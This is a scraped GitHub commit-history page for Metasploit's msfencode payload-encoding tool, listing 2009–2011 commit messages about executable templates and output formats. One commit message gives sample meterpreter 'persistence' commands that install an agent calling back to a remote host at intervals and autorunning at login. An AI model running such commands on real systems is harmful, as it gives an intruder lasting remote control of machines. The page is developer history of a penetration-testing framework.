Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
Commits on Nov 24, 2011
  1. @hmoore-r7

    Fix up bad line removals

    hmoore-r7 authored
  2. @hmoore-r7
Commits on Nov 21, 2011
Commits on Feb 15, 2011
  1. @jduck

    Fixes #3712, Do not keep looping on ENOENT or EINVAL

    jduck authored
    git-svn-id: file:///home/svn/framework3/trunk@11752 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Dec 14, 2010
  1. @jduck

    fix some silly input/output translation bugs with msfencode

    jduck authored
    git-svn-id: file:///home/svn/framework3/trunk@11326 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Sep 21, 2010
  1. @jduck

    add verbosity flag, disable stack traces w/o it

    jduck authored
    git-svn-id: file:///home/svn/framework3/trunk@10409 4d416f70-5f16-0410-b530-b9f4589650da
  2. @jduck

    big exe/dll update, see #2017

    jduck authored
    NOTE: These changes specifically affect payload encoding via RPC, "use
    payload", and msfencode
    
    1. consolidate user-specified exe generation routine (now
    Msf::Util::EXE.to_executable_fmt)
    2. supported format types are now queried/checked using arrays
    3. cleaned up and standardized exe option passing
    4. rename data store options for EXE mixin
    5. add generate_payload_exe_service for psexec/smb_relay
    6. reworked default template handling in Msf::Util::EXE
      a. added template search path option (not used if template includes
    a path separator)
      b. "fallback" flag to enable using default if specified file doesn't
    exist
    7. added Msf::Util::EXE.to_win64pe_dll
    8. improved error messages from exe generation
    
    
    
    git-svn-id: file:///home/svn/framework3/trunk@10404 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Sep 20, 2010
  1. @jduck

    rework to_jsp_war a bit, fix uses, default msfencode -t war to x86/win32

    jduck authored
    git-svn-id: file:///home/svn/framework3/trunk@10397 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Sep 18, 2010
  1. @jduck

    prevent loading activerecord for msf{payload,encode}

    jduck authored
    git-svn-id: file:///home/svn/framework3/trunk@10368 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Aug 19, 2010
  1. @jlee-r7

    add dll output to msfencode, refactor some junk

    jlee-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@10061 4d416f70-5f16-0410-b530-b9f4589650da
Commits on May 3, 2010
  1. @jduck

    more cleanups

    jduck authored
    git-svn-id: file:///home/svn/framework3/trunk@9212 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Apr 14, 2010
  1. @hmoore-r7

    Macho support for msfencode

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@9071 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Mar 24, 2010
  1. @hmoore-r7

    Closes #1244 with a caveat. If the template injected calls ExitProces…

    hmoore-r7 authored
    …s(), the payload will be killed. This means that -k is not compatible with our default executable
    
    git-svn-id: file:///home/svn/framework3/trunk@8896 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Mar 18, 2010
  1. @hmoore-r7

    Indicate the method for using javascript (js_le, js_be) in the help o…

    hmoore-r7 authored
    …utput
    
    git-svn-id: file:///home/svn/framework3/trunk@8846 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Feb 18, 2010
  1. @jduck

    add support for WAR archives to msfencode, closes #774

    jduck authored
    git-svn-id: file:///home/svn/framework3/trunk@8545 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Dec 28, 2009
  1. @hmoore-r7

    Add -t asp to msfencode :)

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@8013 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Dec 13, 2009
  1. @hmoore-r7

    This adds support for the old exe format to msfencode using -t exe-sm…

    hmoore-r7 authored
    …all and allows encoder modules to change preferences based on the platform, which fully solves #430.
    
    git-svn-id: file:///home/svn/framework3/trunk@7840 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Nov 4, 2009
  1. @hmoore-r7

    Fixes #463. Missing a return value in exe.rb and missing a default fo…

    hmoore-r7 authored
    …rmat in msfencode
    
    git-svn-id: file:///home/svn/framework3/trunk@7357 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Nov 1, 2009
  1. @hmoore-r7

    This patch implements a much more flexible executable creation scheme…

    hmoore-r7 authored
    … at the cost of exe size. This also adds the "-x" option to msfencode, allowing the user to specify their own executable template for generation.
    
    git-svn-id: file:///home/svn/framework3/trunk@7315 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Oct 20, 2009
  1. @hmoore-r7

    Fix msfencode -l, thanks _sinn3r

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@7218 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Oct 19, 2009
  1. @hmoore-r7

    Fixes #386. Adds a persistent VBS payload option (keep running the pa…

    hmoore-r7 authored
    …yload in a loop) via the loop-vbs type in msfencode. Adds a 'persistence' script to allow easy persistent meterpeter agent deployment. "run persistence -h" for help. Sample command line:
    
    meterpreter> run persistence -r 1.2.3.4 -p 443 -A -X -i 300
    
    This would install a meterpreter agent that would try to connect to 1.2.3.4:443 once every 300 seconds. This would also start a multi/handler in the background (-A) and make this autorun when any user logs in (-X). In most scenarios, this works just fine:
    
    meterpreter> run persistence -A
    
    This uses your default IP and the default port and immediates handles the next connection, but doesnt install via the registry.
    
    
    
    git-svn-id: file:///home/svn/framework3/trunk@7204 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Aug 25, 2009
  1. @hmoore-r7

    Remove extraneous check

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6977 4d416f70-5f16-0410-b530-b9f4589650da
  2. @hmoore-r7

    Fix a bug generating executables when no arch was defined

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6976 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Aug 23, 2009
  1. @hmoore-r7

    Merge in the beginnings of x64 support from Stephen Fewer

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6972 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Jun 24, 2009
  1. @hmoore-r7

    Fix up EXE to VBA handling

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6708 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Jun 21, 2009
  1. @hmoore-r7

    Load the encoders/nops modules in msfpayload for encoding, load nops …

    hmoore-r7 authored
    …in msfencode
    
    git-svn-id: file:///home/svn/framework3/trunk@6694 4d416f70-5f16-0410-b530-b9f4589650da
  2. @hmoore-r7

    Sync up the API calls for msfpayload/msfencode, thanks Carlos

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6693 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Jun 20, 2009
  1. @hmoore-r7

    Update executable template and API

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6682 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Jun 14, 2009
  1. @hmoore-r7

    Indicate lack of support for ruby 1.9.0, indicate experimental suppor…

    hmoore-r7 authored
    …t for ruby 1.9.1
    
    git-svn-id: file:///home/svn/framework3/trunk@6661 4d416f70-5f16-0410-b530-b9f4589650da
Commits on May 11, 2009
  1. @hmoore-r7

    patch to msfencode to support elf format output from Bernardo Damele …

    hmoore-r7 authored
    …A. G.
    
    git-svn-id: file:///home/svn/framework3/trunk@6543 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Mar 11, 2009
  1. @hmoore-r7

    Allow -c option to msfencode to specify encode count

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6333 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Jan 30, 2009
  1. @hmoore-r7

    Patch from Jonathan Steel to fix double-symlinks

    hmoore-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6203 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Jan 9, 2009
  1. enable javascript and java encoding

    kris authored
    git-svn-id: file:///home/svn/framework3/trunk@6105 4d416f70-5f16-0410-b530-b9f4589650da
Commits on Jan 2, 2009
  1. @jlee-r7

    parse options before creating so -h is faster

    jlee-r7 authored
    git-svn-id: file:///home/svn/framework3/trunk@6060 4d416f70-5f16-0410-b530-b9f4589650da
  2. @hmoore-r7

    This patch allows the framework to be created with only specific modu…

    hmoore-r7 authored
    …le types enabled, speeding up msfpayload and msfencode.
    
    git-svn-id: file:///home/svn/framework3/trunk@6055 4d416f70-5f16-0410-b530-b9f4589650da
Something went wrong with that request. Please try again.